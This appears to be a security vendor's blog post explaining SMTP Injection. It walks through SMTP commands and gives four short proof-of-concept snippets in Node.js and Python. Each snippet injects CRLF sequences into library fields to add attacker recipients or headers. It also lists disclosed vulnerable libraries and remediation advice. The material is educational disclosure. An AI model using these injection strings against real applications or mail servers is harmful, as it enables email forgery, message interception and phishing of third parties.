Avoiding SMTP Injection: A Whitebox primer
September 15, 2022
0 mins readSMTP Injection vulnerabilities are often misunderstood by developers and security professionals, and missed by static analysis products. This blog will discuss how common SMTP Injection vulnerabilities can exist in libraries and applications, and provide tips for finding and remediating them quickly.
Introduction to SMTP
Simple Mail Transfer Protocol (SMTP) is an email protocol used for sending and receiving email messages. User-level email clients typically use SMTP to send messages to a mail server for relaying. SMTP servers commonly use the Transmission Control Protocol on port number 25 (for plaintext) and 587 (for encrypted communications).
Modern software and applications often use the SMTP protocol as part of a user flow and send emails based on a user action. Registration confirmation emails, which can take a user email with some predefined welcome text and relay this email to an SMTP server to be sent to a user’s email account, are one example of this.
During an SMTP session between an SMTP client and server, multiple SMTP commands can be used by a client. Some common examples are:
HELO/EHLO
- TheHELO
command initiates the SMTP session conversation, e.g.HELO snyk.io
.MAIL FROM
- TheMAIL FROM
command initiates a mail transfer with a source email address, e.g.MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)"
.RCPT TO
- TheRCPT TO
command specifies the recipient to send the email to, e.g.RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)"
.DATA
- Using theDATA
command, the client asks the server for permission to transfer the mail data. The response code 354 grants permission, and the client launches the delivery of the email contents line by line. TheDATA
transmission can be terminated with a.
character
An example of an SMTP communication between a client and a server can be seen below.
1Server: 220 smtp.snyk.test ESMTP Postfix
2Client: HELO relay.snyk.test
3Server: 250 Hello relay.snyk.test, I am glad to meet you
4Client: MAIL FROM:<sams@snyk.test>
5S: 250 Ok
6C: RCPT TO:<jack@snyk.test>
7S: 250 Ok
8C: RCPT TO:<asaf@snyk.test>
9S: 250 Ok
10C: DATA
11S: 354 End data with <CR><LF>.<CR><LF>
12C: From: "Sam S" <sams@snyk.test>
13C: To: "Jack H" <jack@snyk.test>
14C: Cc: asaf@snyk.test
15C: Date: Tue, 15 Jan 2008 16:02:43 -0500
16C: Subject: Test message
17C:
18C: Hello Jack.
19C: This is a test.
20C: Your friend,
21C: Sam
22C: .
23S: 250 Ok: queued as 12345
24C: QUIT
25S: 221 Bye
26{The server closed the connection}
What is SMTP Injection
SMTP Injection can occur when an attacker is able to inject arbitrary SMTP commands as part of an SMTP communication taking place between a client and server. This may be through injecting additional CRLF characters that are part of user controlled parameters which may be placed as part of an SMTP command without validation or adequate sanitization.
These cases often exist in web applications that are using libraries to send SMTP commands, or have internal implementations that are not validating user controlled parameters.
The impact of SMTP Injection can vary depending on the context of an application affected by this issue. Common impacts include:
Sending copies of emails to a third party.
Modifying the content of the message being sent to the SMTP server.
Leveraging the application affected by SMTP injection as a proxy to conduct phishing attacks.
To better understand SMTP Injection, let’s look at the following examples.
SMTP Injection Scenario 1
Third party libraries are commonly used by developers to send emails to an SMTP server, and provide an alternative to using standard library SMTP functions. One such example of this library is smtp-client. smtp-client
provides various fields to set hostname, authentication, recipient, and senders, which can then be sent as part of an SMTP message.
1var smtp = require('smtp-client');
2let s = new smtp.SMTPClient({
3 host: '127.0.0.1',
4 port: 1225
5});
6
7(async function() {
8
9 await s.connect();
10
11 await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
12 await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
13 await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
14 await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
15 await s.data('mail source'); // runs DATA command and streams email source
16 await s.quit(); // runs QUIT command
17
18})().catch(console.error);
However, consider a scenario where it's not possible to set the s.rcpt
field and only the s.mail
is controlled by the user. In those cases, CRLF characters can be used to insert a new command such as from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io)
.
Example:
1await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});
Because no validation took place, the SMTP client will process CRLF characters and treat RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io)
as a new SMTP command. The following image shows this command being accepted by a SMTP server.
Along with smtp-client, Snyk also found Email MIME
and Net::SMTP
perl packages — which are also vulnerable to SMTP Injection through multiple fields. This security issue was reported to the appropriate library maintainers, and fixes are implemented within the latest version of these packages.
SMTP Injection Scenario 2
Low level libraries also exist within multiple language ecosystems that can be used by developers to communicate with an SMTP server. One such example of this is smtp-channel.
In the case of smtp-channel
, developers might choose to create user emails with user provided input, and provide the data to smtp-channel
as a stream. In those cases, an attacker can add additional headers, and use the existing SMTP session to forge an email. The following code demonstrates this issue:
1const {SMTPChannel} = require('smtp-channel');
2
3(async function() {
4 let handler = console.log;
5
6 let smtp = new SMTPChannel({
7 host: 'localhost',
8 port: 1225
9 });
10
11 var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
12 var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
13 await smtp.connect({handler, timeout: 3000});
14 await smtp.write(userstream, {handler});
15 await smtp.write('QUIT\r\n', {handler});
16
17 })().catch(console.error);
SMTP Injection Scenario 3
Mail Builder libraries used in conjunction with SMTP clients can also be affected by SMTP Injection. An example of this issue can be seen within the email Python package. The email package is a library for managing email messages. In this case, SMTP Injection is possible by providing CRLF characters to the mail.headerregistry.Address
field.
1import smtplib
2
3from email.message import EmailMessage
4from email.headerregistry import Address
5from email.utils import make_msgid
6
7# Create the base text message.
8msg = EmailMessage()
9msg['Subject'] = "Example Subject"
10msg['From'] = Address("Sam", "Sanoop", "snyk.test")
11msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
12msg.set_content("""\
13Salut!
14
15Test Email
16--Sam
17""")
18
19# Send the message via SMTP server.
20with smtplib.SMTP("127.0.0.1", 1225) as s:
21 s.login("testuser", "testpass")
22 s.set_debuglevel(2)
23 s.send_message(msg)
The following image shows the existing RCPT command being closed with the >
character and a new cC
header being injected with \r\n
. This will be sent as a new RCPT command, as seen below.
It should be noted that this vulnerability has been remediated by the Python security team in the 3.X releases — click here to review the full release notes. However, 2.X versions are still vulnerable.
SMTP Injection Scenario 4
While probing for SMTP Injection vulnerabilities, it is worth noting that other fields such as hostname and source address can also allow CRLF characters — and therefore allow SMTP Injection.
In the following example, the From
and To
fields provided to aiosmtplib
are sanitized. However, it’s still possible to inject into the source_address
and insert an arbitrary SMTP command. The Proof Of Concept (PoC) to demonstrate this can be seen below:
1import asyncio
2from email.message import EmailMessage
3
4from aiosmtplib import SMTP
5
6async def say_hello():
7 message = EmailMessage()
8 message["From"] = "root@localhost"
9 message["To"] = "somebody@example.com"
10 ## message["Subject"] = "Hello World!\r\nFoo: Bar"
11 message.set_content("Sent via aiosmtplib")
12
13 smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
14 async with smtp_client:
15 await smtp_client.send_message(message)
16
17event_loop = asyncio.get_event_loop()
18event_loop.run_until_complete(say_hello())
This creates the following SMTP communication.
Other cases to consider
In certain situations, mail libraries can also allow for code execution vectors. One such example of this is the mail()
function.If user input flows into the 5th parameter of the mail()
function, this can be leveraged by an attacker for code execution — click here to review an example of this issue.
SMTP Injection vulnerabilities are often confused with Mail Injection vulnerabilities. In a Mail Injection vulnerability, an attacker could abuse an email messaging feature by using an SMTP function to send arbitrary emails and conduct phishing attacks. Whereas, with an SMTP Injection, CRLF characters are used to inject arbitrary headers, which can then be used to forge emails and conduct phishing attacks.
Preventing SMTP Injection
SMTP Injection is a vulnerability often overlooked by developers and open source library maintainers. In most cases, these issues should be remediated by library maintainers, and many well known libraries — such as JavaMail, PHPMailer and RubyMail — already prevent SMTP Injection by sanitizing CRLF characters. For low level libraries such as smtp-channel
, the developer utilizing this library is responsible for validating and sanitizing user input.
In order to help make the open source community more secure, Snyk Security team also disclosed SMTP Injection vulnerabilities in the following libraries.
Library | Language | Fixed Version |
---|---|---|
| C | Fixed in Master |
| Perl | No Fix Available |
| Perl | No Fix Available |
| Python | Fixed in 1.1.7 |
| NodeJS | No fix available |
Get started in capture the flag
Learn how to solve capture the flag challenges by watching our virtual 101 workshop on demand.